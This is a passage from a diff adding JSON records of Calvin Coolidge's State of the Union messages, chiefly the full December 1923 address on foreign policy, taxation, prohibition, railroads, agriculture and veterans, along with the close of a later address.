crime of lynching, which has in late years somewhat decreased. Some\nparts of the South already have wholesome laws for its restraint and\npunishment. Their example might well be followed by other States, and by\nsuch immediate remedial legislation as the Federal Government can extend\nunder the Constitution.PHILIPPINE ISLANDSUnder the guidance of Governor General Stimson the economic and political\nconditions of the Philippine Islands have been raised to a standard never\nbefore surpassed. The cooperation between his administration and the people\nof the islands is complete and harmonious. It would be an advantage if\nrelief from double taxation could be granted by the Congress to our\ncitizens doing business in the islands.PORTO RICODue to the terrific storm that swept Porto Rico last September, the people\nof that island suffered large losses. The Red Cross and the War Department\nwent to their rescue. The property loss is being, retrieved. Sugar,\ntobacco, citrus fruit, and coffee, all suffered damage. The first three can\nlargely look after themselves. The coffee growers will need some\nassistance, which should be extended strictly on a business basis, and\nonly after most careful investigation. The people of Porto Rico are not\nasking for charity.DEPARTMENT OF JUSTICEIt is desirable that all the legal activities of the Government be\nconsolidated under the supervision of the Attorney General. In\n1870 it was felt necessary to create the Department of Justice for this\npurpose. During the intervening period, either through legislation creating\nlaw officers or departmental action, additional legal positions not under\nthe supervision of the Attorney General have been provided until there are\nnow over 900. Such a condition is as harmful to the interest of the\nGovernment now as it was in 1870, and should be corrected by appropriate\nlegislation.SPECIAL GOVERNMENT COUNSELIn order to prosecute the oil cases, I suggested and the Congress enacted a\nlaw providing for the appointment of two special counsel. They have pursued\ntheir work with signal ability, recovering all the leased lands besides\nnearly $30,000,000 in money, and nearly $17,000,000 in other property. They\nfind themselves hampered by a statute, which the Attorney General construes\nas applying to them, prohibiting their appearing for private clients before\nany department. For this reason, one has been compelled to resign. No good\nresult is secured by the application of this rule to these counsel, and as\nMr. Roberts has consented to take reappointment if the rule is abrogated I\nrecommend the passage of an amendment to the law creating their office\nexempting them from the general rule against taking other cases involving\nthe Government.PROHIBITIONThe country has duly adopted the eighteenth amendment. Those who object to\nit have the right to advocate its modification or repeal. Meantime, it is\nbinding upon the National and State Governments and all our inhabitants.\nThe Federal enforcement bureau is making every effort to prevent\nviolations, especially through smuggling, manufacture, and transportation,\nand to prosecute generally all violations for which it can secure evidence.\nIt is bound to continue this policy. Under the terms of the Constitution,\nhowever, the obligation is equally on the States to exercise the power\nwhich they have through the executive, legislative, judicial, and police\nbranches of their governments in behalf of enforcement. The Federal\nGovernment is doing and will continue to do all it can in this direction\nand is entitled to the active cooperation of the States.CONCLUSIONThe country is in the midst of an era of prosperity more extensive and of\npeace more permanent than it has ever before experienced. But, having\nreached this position, we should not fail to comprehend that it can easily\nbe lost. It needs more effort for its support than the less exalted places\nof the world. We shall not be permitted to take our case, but shall\ncontinue to be required to spend our days in unremitting toil. The actions\nof the Government must command the confidence of the country. Without this,\nour prosperity would be lost. We must extend to other countries the largest\nmeasure of generosity, moderation, and patience. In addition to dealing\njustly, we can well afford to walk humbly.The end of government is to keep open the opportunity for a more\nabundant life. Peace and prosperity are not finalities; they are only\nmethods. It is too easy under their influence for a nation to become\nselfish and degenerate. This test has come to the United States. Our\ncountry has been provided with the resources with which it can enlarge its\nintellectual, moral, and spiritual life. The issue is in the hands of the\npeople. Our faith in man and God is the justification for the belief in our\ncontinuing success.", 
+    "name": "Calvin Coolidge"
+}
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+{
+    "date": "December 6, 1923", 
+    "speech": "Since the close of the last Congress the Nation has lost President Harding.\nThe world knew his kindness and his humanity, his greatness and his\ncharacter. He has left his mark upon history. He has made justice more\ncertain and peace more secure. The surpassing tribute paid to his memory as\nhe was borne across the continent to rest at last at home revealed the\nplace he held in the hearts of the American people. But this is not the\noccasion for extended reference to the man or his work. In this presence,\namong these who knew and loved him, that is unnecessary. But we who were\nassociated with him could not resume together the functions of our office\nwithout pausing for a moment, and in his memory reconsecrating ourselves to\nthe service of our country. He is gone. We remain. It is our duty, under\nthe inspiration of his example, to take up the burdens which he was\npermitted to lay down, and to develop and support the wise principles of\ngovernment which he represented.FOREIGN AFFAIRSFor us peace reigns everywhere. We desire to perpetuate it always by\ngranting full justice to others and requiring of others full justice to\nourselves.Our country has one cardinal principle to maintain in its foreign policy.\nIt is an American principle. It must be an American policy. We attend to\nour own affairs, conserve our own strength, and protect the interests of\nour own citizens; but we recognize thoroughly our obligation to help\nothers, reserving to the decision of our own Judgment the time, the place,\nand the method. We realize the common bond of humanity. We know the\ninescapable law of service.Our country has definitely refused to adopt and ratify the covenant of the\nLeague of Nations. We have not felt warranted in assuming the\nresponsibilities which its members have assumed. I am not proposing any\nchange in this policy; neither is the Senate. The incident, so far as we\nare concerned, is closed. The League exists as a foreign agency. We hope it\nwill be helpful. But the United States sees no reason to limit its own\nfreedom and independence of action by joining it. We shall do well to\nrecognize this basic fact in all national affairs and govern ourselves\naccordingly.WORLD COURTOur foreign policy has always been guided by two principles. The one is the\navoidance of permanent political alliances which would sacrifice our proper\nindependence. The other is the peaceful settlement of controversies between\nnations. By example and by treaty we have advocated arbitration. For nearly\n25 years we have been a member of The Hague Tribunal, and have long sought\nthe creation of a permanent World Court of Justice. I am in full accord\nwith both of these policies. I favor the establishment of such a court\nintended to include the whole world. That is, and has long been, an\nAmerican policy.Pending before the Senate is a proposal that this Government give its\nsupport to the Permanent Court of International Justice, which is a new and\nsomewhat different plan. This is not a partisan question. It should not\nassume an artificial importance. The court is merely a convenient\ninstrument of adjustment to which we could go, but to which we could not\nbe brought. It should be discussed with entire candor, not by a political\nbut by a judicial method, without pressure and without prejudice.\nPartisanship has no place in our foreign relations. As I wish to see a\ncourt established, and as the proposal presents the only practical plan on\nwhich many nations have ever agreed, though it may not meet every desire, I\ntherefore commend it to the favorable consideration of the Senate, with the\nproposed reservations clearly indicating our refusal to adhere to the\nLeague of Nations.RUSSIAOur diplomatic relations, lately so largely interrupted, are now being\nresumed, but Russia presents notable difficulties. We have every desire to\nsee that great people, who are our traditional friends, restored to their\nposition among the nations of the earth. We have relieved their pitiable\ndestitution with an enormous charity. Our Government offers no objection\nto the carrying on of commerce by our citizens with the people of Russia.\nOur Government does not propose, however, to enter into relations with\nanother regime which refuses to recognize the sanctity of international\nobligations. I do not propose to barter away for the privilege of trade any\nof the cherished rights of humanity. I do not propose to make merchandise\nof any American principles. These rights and principles must go wherever\nthe sanctions of our Government go.But while the favor of America is not for sale, I am willing to make very\nlarge concessions for the purpose of rescuing the people of Russia. Already\nencouraging evidences of returning to the ancient ways of society can be\ndetected. But more are needed. Whenever there appears any disposition to\ncompensate our citizens who were despoiled, and to recognize that debt\ncontracted with our Government, not by the Czar, but by the newly formed\nRepublic of Russia; whenever the active spirit of enmity to our\ninstitutions is abated; whenever there appear works mete for repentance;\nour country ought to be the first to go to the economic and moral rescue of\nRussia. We have every desire to help and no desire to injure. We hope the\ntime is near at hand when we can act.DEBTSThe current debt and interest due from foreign Governments, exclusive of\nthe British debt of $4,600,000,000, is about $7,200,000,000. I do not favor\nthe cancellation of this debt, but I see no objection to adjusting it in\naccordance with the principle adopted for the British debt. Our country\nwould not wish to assume the role of an oppressive creditor, but would\nmaintain the principle that financial obligations between nations are\nlikewise moral obligations which international faith and honor require\nshould be discharged.Our Government has a liquidated claim against Germany for the expense of\nthe army of occupation of over $255,000,000. Besides this, the Mixed Claims\nCommission have before them about 12,500 claims of American citizens,\naggregating about $1,225,000,000. These claims have already been reduced by\na recent decision, but there are valid claims reaching well toward\n$500,000,000. Our thousands of citizens with credits due them of hundreds\nof millions of dollars have no redress save in the action of our\nGovernment. These are very substantial interests, which it is the duty of\nour Government to protect as best it can. That course I propose to pursue.It is for these reasons that we have a direct interest in the economic\nrecovery of Europe. They are enlarged by our desire for the stability of\ncivilization and the welfare of humanity. That we are making sacrifices to\nthat end none can deny. Our deferred interest alone amounts to a million\ndollars every day. But recently we offered to aid with our advice and\ncounsel. We have reiterated our desire to see France paid and Germany\nrevived. We have proposed disarmament. We have earnestly sought to compose\ndifferences and restore peace. We shall persevere in well-doing, not by\nforce, but by reason.FOREIGN PAPERSUnder the law the papers pertaining to foreign relations to be printed are\ntransmitted as a part of this message. Other volumes of these papers will\nfollow.FOREIGN SERVICEThe foreign service of our Government needs to be reorganized and\nimproved.FISCAL CONDITIONOur main problems are domestic problems. Financial stability is the first\nrequisite of sound government. We can not escape the effect of world\nconditions. We can not avoid the inevitable results of the economic\ndisorders which have reached all nations. But we shall diminish their harm\nto us in proportion as we continue to restore our Government finances to a\nsecure and endurable position. This we can and must do. Upon that firm\nfoundation rests the only hope of progress and prosperity. From that source\nmust come relief for the people.This is being, accomplished by a drastic but orderly retrenchment, which is\nbringing our expenses within our means. The origin of this has been the\ndetermination of the American people, the main support has been the courage\nof those in authority, and the effective method has been the Budget System.\nThe result has involved real sacrifice by department heads, but it has been\nmade without flinching. This system is a law of the Congress. It represents\nyour will. It must be maintained, and ought to be strengthened by the\nexample of your observance. Without a Budget System there can be no fixed\nresponsibility and no constructive scientific economy.This great concentration of effort by the administration and Congress has\nbrought the expenditures, exclusive of the self-supporting Post. Office\nDepartment, down to three billion dollars. It is possible, in consequence,\nto make a large reduction in the taxes of the people, which is the sole\nobject of all curtailment. This is treated at greater length in the Budget\nmessage, and a proposed plan has been presented in detail in a statement by\nthe Secretary of the Treasury which has my unqualified approval. I\nespecially commend a decrease on earned incomes, and further abolition of\nadmission, message, and nuisance taxes. The amusement and educational\nvalue of moving pictures ought not to be taxed. Diminishing charges against\nmoderate incomes from investment will afford immense relief, while a\nrevision of the surtaxes will not only provide additional money for capital\ninvestment, thus stimulating industry and employing more but will not\ngreatly reduce the revenue from that source, and may in the future actually\nincrease it.Being opposed to war taxes in time of peace, I am not in favor of\nexcess-profits taxes. A very great service could be rendered through\nimmediate enactment of legislation relieving the people of some of the\nburden of taxation. To reduce war taxes is to give every home a better\nchance.For seven years the people have borne with uncomplaining courage the\ntremendous burden of national and local taxation. These must both be\nreduced. The taxes of the Nation must be reduced now as much as prudence\nwill permit, and expenditures must be reduced accordingly. High taxes reach\neverywhere and burden everybody. They gear most heavily upon the poor. They\ndiminish industry and commerce. They make agriculture unprofitable. They\nincrease the rates on transportation. They are a charge on every necessary\nof life. Of all services which the Congress can render to the country, I\nhave no hesitation in declaring t neglect it, to postpone it, to obstruct\nit by unsound proposals, is to become unworthy of public confidence and\nuntrue to public trust. The country wants this measure to have the right of\nway over an others.Another reform which is urgent in our fiscal system is the abolition of the\nright to issue tax-exempt securities. The existing system not only permits\na large amount of the wealth of the Notion to escape its just burden but\nacts as a continual stimulant to municipal extravagance. This should be\nprohibited by constitutional amendment. All the wealth of the Nation ought\nto contribute its fair share to the expenses of the Nation.TARIFF TAWThe present tariff law has accomplished its two main objects. It has\nsecured an abundant revenue and been productive of an abounding prosperity.\nUnder it the country has had a very large export and import trade. A\nconstant revision of the tariff by the Congress is disturbing and harmful.\nThe present law contains an elastic provision authorizing the President to\nincrease or decrease present schedules not in excess of 50 per centum to\nmeet the difference in cost of production at home and abroad. This does\nnot, to my mind, warrant a rewriting g of the whole law, but does mean, and\nwill be so administered, that whenever the required investigation shows\nthat inequalities of sufficient importance exist in any schedule, the power\nto change them should and will be applied.SHIPPINGThe entire well being of our country is dependent upon transportation by\nsea and land. Our Government during the war acquired a large merchant fleet\nwhich should be transferred, as soon as possible, to private ownership and\noperation under conditions which would secure two results: First, and of\nprime importance, adequate means for national defense; second, adequate\nservice to American commerce. Until shipping conditions are such that our\nfleet can be disposed of advantageously under these conditions, it will be\noperated as economically as possible under such plans as may be devised\nfrom time to time by the Shipping Board. We must have a merchant marine\nwhich meets these requirements, and we shall have to pay the cost of its\nservice.PUBLIC IMPROVEMENTSThe time has come to resume in a moderate way the opening of our\nintracoastal waterways; the control of flood waters of the Mississippi and\nof the Colorado Rivers; the improvement of the waterways from the Great\nLakes toward the Gulf of Mexico; and the development of the great power and\nnavigation project of the St. Lawrence River, for which efforts are now\nbeing made to secure the necessary treaty with Canada. These projects can\nnot all be undertaken at once, but all should have the immediate\nconsideration of the Congress and be adopted as fast as plans can be\nmatured and the necessary funds become available. This is not incompatible\nwith economy, for their nature does not require so much a public\nexpenditure as a capital investment which will be reproductive, as\nevidenced by the marked increase in revenue from the Panama Canal. Upon\nthese projects depend much future industrial and agricultural progress.\nThey represent the protection of large areas from flood and the addition of\na great amount of cheap power and cheap freight by use of navigation, chief\nof which is the bringing of ocean-going ships to the Great Lakes.Another problem of allied character is the superpower development of the\nNortheastern States, consideration of which is growing under the direction\nof the Department of Commerce by joint conference with the local\nauthorities.RAILROADSCriticism of the railroad law has been directed, first, to the section\nlaying down the rule by which rates are fixed, and providing for payment to\nthe Government and use of excess earnings; second, to the method for the\nadjustment of wage scales; and third, to the authority permitting\nconsolidations.It has been erroneously assumed that the act undertakes to guarantee\nrailroad earnings. The law requires that rates should be just and\nreasonable. That has always been the rule under which rates have been\nfixed. To make a rate that does not yield a fair return results in\nconfiscation, and confiscatory rates are of course unconstitutional. Unless\nthe Government adheres to the rule of making a rate that will yield a fair\nreturn, it must abandon rate making altogether. The new and important\nfeature of that part of the law is the recapture and redistribution of\nexcess rates. The constitutionality of this method is now before the\nSupreme Court for adjudication. Their decision should be awaited before\nattempting further legislation on this subject. Furthermore, the importance\nof this feature will not be great if consolidation goes into effect.The settlement of railroad labor disputes is a matter of grave public\nconcern. The Labor Board was established to protect the public in the\nenjoyment of continuous service by attempting to insure justice between the\ncompanies and their employees. It has been a great help, but is not\naltogether satisfactory to the public, the employees, or the companies. If\na substantial agreement can be reached among the groups interested, there\nshould be no hesitation in enacting such agreement into law. If it is not\nreached, the Labor Board may very well be left for the present to protect\nthe public welfare.The law for consolidations is not sufficiently effective to be expeditious.\nAdditional legislation is needed giving authority for voluntary\nconsolidations, both regional and route, and providing Government machinery\nto aid and stimulate such action, always subject to the approval of the\nInterstate Commerce Commission. This should authorize the commission to\nappoint committees for each proposed group, representing the public and the\ncomponent roads, with power to negotiate with individual security holders\nfor an exchange of their securities for those of the, consolidation on such\nterms and conditions as the commission may prescribe for avoiding any\nconfiscation and preserving fair values. Should this permissive\nconsolidation prove ineffective after a limited period, the authority of\nthe Government will have to be directly invoked.Consolidation appears to be the only feasible method for the maintenance of\nan adequate system of transportation with an opportunity so to adjust\nfreight rates as to meet such temporary conditions as now prevail in some\nagricultural sections. Competent authorities agree that an entire\nreorganization of the rate structure for freight is necessary. This should\nbe ordered at once by the Congress.DEPARTMENT OF JUSTICEAs no revision of the laws of the United States has been made since 1878, a\ncommission or committee should be created to undertake this work. The\nJudicial Council reports that two more district judges are needed in the\nsouthern district of New York, one in the northern district of Georgia, and\ntwo more circuit judges in the Circuit Court of Appeals of the Eighth\nCircuit. Legislation should be considered for this purpose.It is desirable to expedite the hearing and disposal of cases. A\ncommission of Federal judges and lawyers should be created to recommend\nlegislation by which the procedure in the Federal trial courts may be\nsimplified and regulated by rules of court, rather than by statute; such\nrules to be submitted to the Congress and to be in force until annulled or\nmodified by the Congress. The Supreme Court needs legislation revising and\nsimplifying the laws governing review by that court, and enlarging the\nclasses of cases of too little public importance to be subject to review.\nSuch reforms would expedite the transaction of the business of the courts.\nThe administration of justice is likely to fail if it be long delayed.The National Government has never given adequate attention to its prison\nproblems. It ought to provide employment in such forms of production as can\nbe used by the Government, though not sold to the public in competition\nwith private business, for all prisoners who can be placed at work, and for\nwhich they should receive a reasonable compensation, available for their\ndependents.Two independent reformatories are needed; one for the segregation of women,\nand another for the segregation of young men serving their first sentence.The administration of justice would be facilitated greatly by including in\nthe Bureau of Investigation of the Department of Justice a Division of\nCriminal Identification, where there would be collected this information\nwhich is now indispensable in the suppression of crime.PROHIBITIONThe prohibition amendment to the Constitution requires the Congress. and\nthe President to provide adequate laws to prevent its violation. It is my\nduty to enforce such laws. For that purpose a treaty is being negotiated\nwith Great Britain with respect to the right of search of hovering\nvessels. To prevent smuggling, the Coast Card should be greatly\nstrengthened, and a supply of swift power boats should be provided. The\nmajor sources of production should be rigidly regulated, and every effort\nshould be made to suppress interstate traffic. With this action on the part\nof the National Government, and the cooperation which is usually rendered\nby municipal and State authorities, prohibition should be made effective.\nFree government has no greater menace than disrespect for authority and\ncontinual violation of law. It is the duty of a citizen not only to observe\nthe law but to let it be known that he is opposed to its violation.THE NEGRONumbered among our population are some 12,000,000 colored people. Under our\nConstitution their rights are just as sacred as those of any other citizen.\nIt is both a public and a private duty to protect those rights. The\nCongress ought to exercise all its powers of prevention and punishment\nagainst the hideous crime of lynching, of which the negroes are by no means\nthe sole sufferers, but for which they furnish a majority of the victims.Already a considerable sum is appropriated to give the negroes vocational\ntraining in agriculture. About half a million dollars is recommended for\nmedical courses at Howard University to help contribute to the education of\n500 colored doctors needed each year. On account of the integration of\nlarge numbers into industrial centers, it has been proposed that a\ncommission be created, composed of members from both races, to formulate a\nbetter policy for mutual understanding and confidence. Such an effort is to\nbe commended. Everyone would rejoice in the accomplishment of the results\nwhich it seeks. But it is well to recognize that these difficulties are to\na large extent local problems which must be worked out by the mutual\nforbearance and human kindness of each community. Such a method gives much\nmore promise of a real remedy than outside interference.CIVIL SERVICEThe maintenance and extension of the classified civil service is\nexceedingly important. There are nearly 550,000 persons in the executive\ncivil service drawing about $700,000,000 of yearly compensation.\nFour-fifths of these are in the classified service. This method of\nselection of the employees of the United States is especially desirable for\nthe Post Office Department. The Civil Service Commission has recommended\nthat postmasters at first, second, and third class offices be classified.\nSuch action, accompanied by a repeal of the four-year term of office, would\nundoubtedly be an improvement. I also recommend that the field force for\nprohibition enforcement be brought within the classified civil service\nwithout covering in the present membership. The best method for selecting\npublic servants is the merit system.PUBLIC BUILDINGSMany of the departments in Washington need better housing facilities. Some\nare so crowded that their work is impeded, others are so scattered that\nthey lose their identity. While I do not favor at this time a general\npublic building law, I believe it is now necessary, in accordance with\nplans already sanctioned for a unified and orderly system for the\ndevelopment of this city, to begin the carrying out of those plans by\nauthorizing the erection of three or four buildings most urgently needed by\nan annual appropriation of $5,000,000.REGULATORY LEGISLATIONCooperation with other maritime powers is necessary for complete protection\nof our coast waters from pollution. Plans for this are under way, but\nawait certain experiments for refuse disposal. Meantime laws prohibiting\nspreading oil and oil refuse from vessels in our own territorial waters\nwould be most helpful against this menace and should be speedily enacted.Laws should be passed regulating aviation.Revision is needed of the laws regulating radio interference.Legislation and regulations establishing load liner, to provide safe\nloading of vessels leaving our ports are necessary and recodification of\nour navigation laws is vital.Revision of procedure of the Federal Trade Commission will give more\nconstructive purpose to this department.If our Alaskan fisheries are to be saved from destruction, there must be\nfurther legislation declaring a general policy and delegating the authority\nto make rules and regulations to an administrative body.ARMY AND NAVYFor several years we have been decreasing the personnel of the Army and\nNavy, and reducing their power to the danger point. Further reductions\nshould not be made. The Army is a guarantee of the security of our citizens\nat home; the Navy is a guarantee of the security of our citizens abroad.\nBoth of these services should be strengthened rather than weakened.\nAdditional planes are needed for the Army, and additional submarines for\nthe Navy. The defenses of Panama must be perfected. We want no more\ncompetitive armaments. We want no more war. But we want no weakness that\ninvites imposition. A people who neglect their national defense are putting\nin jeopardy their national honor.INSULAR POSSESSIONSConditions in the insular possessions on the whole have been good. Their\nbusiness has been reviving. They are being administered according to law.\nThat effort has the full support of the administration. Such\nrecommendations as may conic from their people or their governments should\nhave the most considerate attention.EDUCATION AND WELFAREOur National Government is not doing as much as it legitimately can do to\npromote the welfare of the people. Our enormous material wealth, our\ninstitutions, our whole form of society, can not be considered fully\nsuccessful until their benefits reach the merit of every individual. This\nis not a suggestion that the Government should, or could, assume for the\npeople the inevitable burdens of existence. There is no method by which we\ncan either be relieved of the results of our own folly or be guaranteed a\nsuccessful life. There is an inescapable personal responsibility for the\ndevelopment of character, of industry, of thrift, and of self-control.\nThese do not come from the Government, but from the people themselves. But\nthe Government can and should always be expressive of steadfast\ndetermination, always vigilant, to maintain conditions under which these\nvirtues are most likely to develop and secure recognition and reward. This\nis the American policy.It is in accordance with this principle that we have enacted laws for the\nprotection of the public health and have adopted prohibition in narcotic\ndrugs and intoxicating liquors. For purposes of national uniformity we\nought to provide, by constitutional amendment and appropriate legislation,\nfor a limitation of child labor, and in all cases under the exclusive\njurisdiction of the Federal Government a minimum wage law for women, which\nwould undoubtedly find sufficient power of enforcement in the influence of\npublic opinion.Having in mind that education is peculiarly a local problem, and that it\nshould always be pursued with the largest freedom of choice by students and\nparents, nevertheless, the Federal Government might well give the benefit\nof its counsel and encouragement more freely in this direction. If anyone\ndoubts the need of concerted action by the States of the Nation for this\npurpose, it is only necessary to consider the appalling figures of\nilliteracy representing a condition which does not vary much in all parts\nof the Union. I do not favor the making of appropriations from the National\nTreasury to be expended directly on local education, but I do consider it a\nfundamental requirement of national activity which, accompanied by allied\nsubjects of welfare, is worthy of a separate department and a place in the\nCabinet. The humanitarian side of government should not be repressed, but\nshould be cultivated.Mere intelligence, however, is not enough. Enlightenment must be\naccompanied by that moral power which is the product of the home and of\nrebellion. Real education and true welfare for the people rest inevitably\non this foundation, which the Government can approve and commend, but which\nthe people themselves must create.IMMIGRATIONAmerican institutions rest solely on good citizenship. They were created by\npeople who had a background of self-government. New arrivals should be\nlimited to our capacity to absorb them into the ranks of good citizenship.\nAmerica must be kept American. For this purpose, it is necessary to\ncontinue a policy of restricted immigration. It would be well to make such\nimmigration of a selective nature with some inspection at the source, and\nbased either on a prior census or upon the record of naturalization. Either\nmethod would insure the admission of those with the largest capacity and\nbest intention of becoming citizens. I am convinced that our present\neconomic and social conditions warrant a limitation of those to be\nadmitted. We should find additional safety in a law requiring the immediate\nregistration of all aliens. Those who do not want to be partakers of the\nAmerican spirit ought not to settle in America.VETERANSNo more important duty falls on the Government of the United States than\nthe adequate care of its veterans. Those suffering disabilities incurred in\nthe service must have sufficient hospital relief and compensation. Their\ndependents must be supported. Rehabilitation and vocational training must\nbe completed. All of this service must be clean, must be prompt and\neffective, and it must be administered in a spirit of the broadest and\ndeepest human sympathy. If investigation reveals any present defects of\nadministration or need Of legislation, orders will be given for the\nimmediate correction of administration, and recommendations for legislation\nshould be given the highest preference.At present there are 9,500 vacant beds in Government hospitals, I recommend\nthat all hospitals be authorized at once to receive and care for, without\nhospital pay, the veterans of all wars needing such care, whenever there\nare vacant beds, and that immediate steps be taken to enlarge and build new\nhospitals to serve all such cases.The American Legion will present to the Congress a legislative program\ntoo extensive for detailed discussion here. It is a carefully matured plan.\nWhile some of it I do not favor, with much of it I am in hearty accord, and\nI recommend that a most painstaking effort be made to provide remedies for\nany defects in the administration of the present laws which their\nexperience has revealed. The attitude of the Government toward these\nproposals should be one of generosity. But I do not favor the granting of a\nbonus.COALThe cost of coal has become unbearably high. It places a great burden on\nour industrial and domestic life. The public welfare requires a reduction\nin the price of fuel. With the enormous deposits in existence, failure of\nsupply ought not to be tolerated. Those responsible for the conditions in\nthis industry should undertake its reform and free it from any charge of\nprofiteering.The report of the Coal Commission will be before the Congress. It comprises\nall the facts. It represents the mature deliberations and conclusions of\nthe best talent and experience that ever made a national survey of the\nproduction and distribution of fuel. I do not favor Government ownership or\noperation of coal mines. The need is for action under private ownership\nthat will secure greater continuity of production and greater public\nprotection. The Federal Government probably has no peacetime authority to\nregulate wages, prices, or profits in coal at the mines or among dealers,\nbut by ascertaining and publishing facts it can exercise great influence.The source of the difficulty in the bituminous coal fields is the\nintermittence of operation which causes great waste of both capital and\nlabor. That part of the report dealing with this problem has much\nsignificance, and is suggestive of necessary remedies. By amending, the car\nrules, by encouraging greater unity of ownership, and possibly by\npermitting common selling agents for limited districts on condition that\nthey accept adequate regulations and guarantee that competition between\ndistricts be unlimited, distribution, storage, and continuity ought to be\nimproved.The supply of coal must be constant. In case of its prospective\ninterruption, the President should have authority to appoint a commission\nempowered to deal with whatever emergency situation might arise, to aid\nconciliation and voluntary arbitration, to adjust any existing or\nthreatened controversy between the employer and the employee when\ncollective bargaining fails, and by controlling distribution to prevent\nprofiteering in this vital necessity. This legislation is exceedingly\nurgent, and essential to the exercise of national authority for the\nprotection of the people. Those who undertake the responsibility of\nmanagement or employment in this industry do so with the full knowledge\nthat the public interest is paramount, and that to fail through any motive\nof selfishness in its service is such a betrayal of duty as warrants\nuncompromising action by the Government.REORGANIZATIONA special joint committee has been appointed to work out a plan for a\nreorganization of the different departments and bureaus of the Government\nmore scientific and economical than the present system. With the exception\nof the consolidation of the War and Navy Departments and some minor\ndetails, the plan has the general sanction of the President and the\nCabinet. It is important that reorganization be enacted into law at the\npresent session.AGRICULTUREAided by the sound principles adopted by the Government, the business of\nthe country has had an extraordinary revival. Looked at as a whole, the\nNation is in the enjoyment of remarkable prosperity. Industry and commerce\nare thriving. For the most tart agriculture is successful, eleven staples\nhaving risen in value from about $5,300,000,000 two years ago to about.\n$7,000,000,000 for the current year. But range cattle are still low in\nprice, and some sections of the wheat area, notably Minnesota, North\nDakota, and on west, have many cases of actual distress. With his products\nnot selling on a parity with the products of industry, every sound remedy\nthat can be devised should be applied for the relief of the farmer. He\nrepresents a character, a type of citizenship, and a public necessity that\nmust be preserved and afforded every facility for regaining prosperity.The distress is most acute among those wholly dependent upon one crop..\nWheat acreage was greatly expanded and has not yet been sufficiently\nreduced. A large amount is raised for export, which has to meet the\ncompetition in the world market of large amounts raised on land much\ncheaper and much more productive.No complicated scheme of relief, no plan for Government fixing of prices,\nno resort to the public Treasury will be of any permanent value in\nestablishing agriculture. Simple and direct methods put into operation by\nthe farmer himself are the only real sources for restoration.Indirectly the farmer must be relieved by a reduction of national and local\ntaxation. He must be assisted by the reorganization of the freight-rate\nstructure which could reduce charges on his production. To make this fully\neffective there ought to be railroad consolidations. Cheaper fertilizers\nmust be provided.He must have organization. His customer with whom he exchanges products o\nhe farm for those of industry is organized, labor is organized, business is\norganized, and there is no way for agriculture to meet this unless it, too,\nis organized. The acreage of wheat is too large. Unless we can meet the\nworld market at a profit, we must stop raising for export. Organization\nwould help to reduce acreage. Systems of cooperative marketing created by\nthe farmers themselves, supervised by competent management, without doubt\nwould be of assistance, but, the can not wholly solve the problem. Our\nagricultural schools ought to have thorough courses in the theory of\norganization and cooperative marketing.Diversification is necessary. Those farmers who raise their living on their\nland are not greatly in distress. Such loans as are wisely needed to assist\nbuying stock and other materials to start in this direction should be\nfinanced through a Government agency as a temporary and emergency\nexpedient.The remaining difficulty is the disposition of exportable wheat. I do not\nfavor the permanent interference of the Government in this problem. That\nprobably would increase the trouble by increasing production. But it seems\nfeasible to provide Government assistance to exports, and authority should\nbe given the War Finance Corporation to grant, in its discretion, the most\nliberal terms of payment for fats and grains exported for the direct\nbenefit of the farm.MUSCLE SHOALSThe Government is undertaking to develop a great water-power project known\nas Muscle Shoals, on which it has expended many million dollars. The work\nis still going on. Subject to the right to retake in time of war, I\nrecommend that this property with a location for auxiliary steam plant and\nrights of way be sold. This would end the present burden of expense and\nshould return to the Treasury the largest price possible to secure.While the price is an important element, there is another consideration\neven more compelling. The agriculture of the Nation needs a greater supply\nand lower cost of fertilizer. This is now imported in large quantities. The\nbest information I can secure indicates that present methods of power\nproduction would not be able profitably to meet the price at which these\nimports can be sold. To obtain a supply from this water power would require\nlong and costly experimentation to perfect a process for cheap production.\nOtherwise our purpose would fail completely. It seems desirable, therefore,\nin order to protect and promote the public welfare, to have adequate\ncovenants that such experimentation be made and carried on to success. The\ngreat advantage of low-priced nitrates must be secured for the direct\nbenefit of the farmers and the indirect benefit of the public in time of\npeace, and of the Government in time of war. If this main object be\naccomplished, the amount of money received for the property is not a\nprimary or major consideration.Such a solution will involve complicated negotiations, and there is no\nauthority for that purpose. I therefore recommend that the Congress\nappoint a small joint committee to consider offers, conduct negotiations,\nand report definite recommendations.RECLAMATIONBy reason of many contributing causes, occupants of our reclamation\nprojects are in financial difficulties, which in some cases are acute.\nRelief should be granted by definite authority of law empowering the\nSecretary of the Interior in his discretion to suspend, readjust, and\nreassess all charges against water users. This whole question is being\nconsidered by experts. You will have the advantage of the facts and\nconclusions which they may develop. This situation, involving a Government\ninvestment of more than $135,000,000, and affecting more than 30,000 water\nusers, is serious. While relief which is necessary should be granted, yet\ncontracts with the Government which can be met should be met. The\nestablished general policy of these projects should not be abandoned for\nany private control.HIGHWAYS AND FORESTSHighways and reforestation should continue to have the interest and support\nof the Government. Everyone is anxious for good highways. I have made a\nliberal proposal in the Budget for the continuing payment to the States by\nthe Federal Government of its share for this necessary public improvement.\nNo expenditure of public money contributes so much to the national wealth\nas for building good roads.Reforestation has an importance far above the attention it usually secures.\nA special committee of the Senate is investigating this need, and I shall\nwelcome a constructive policy based on their report.It is 100 years since our country announced the Monroe doctrine. This\nprinciple has been ever since, and is now, one of the main foundations of\nour foreign relations. It must be maintained. But in maintaining it we must\nnot be forgetful that a great change has taken place. We are no longer a\nweak Nation, thinking mainly of defense, dreading foreign imposition. We\nare great and powerful. New powers bring new responsibilities. Our ditty\nthen was to protect ourselves. Added to that, our duty now is to help give\nstability to the world. We want idealism. We want that vision which lifts\nmen and nations above themselves. These are virtues by reason of their own\nmerit. But they must not be cloistered; they must not be impractical; they\nmust not be ineffective.The world has had enough of the curse of hatred and selfishness, of\ndestruction and war. It has had enough of the wrongful use of material\npower. For the healing of the nations there must be good will and charity,\nconfidence and peace. The time has come for a more practical use of moral\npower, and more reliance upon the principle that right makes its own might.\nOur authority among the nations must be represented by justice and mercy.\nIt is necessary not only to have faith, but to make sacrifices for our\nfaith. The spiritual forces of the world make all its final determinations.\nIt is with these voices that America should speak. Whenever they declare a\nrighteous purpose there need be no doubt that they will be heard. America\nhas taken her place in the world as a Republic--free, independent,\npowerful. The best service that can be rendered to humanity is the\nassurance that this place will be maintained.", 
+    "name": "Calvin Coolidge"
+}
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+{
+    "date": "December 6, 1927", 
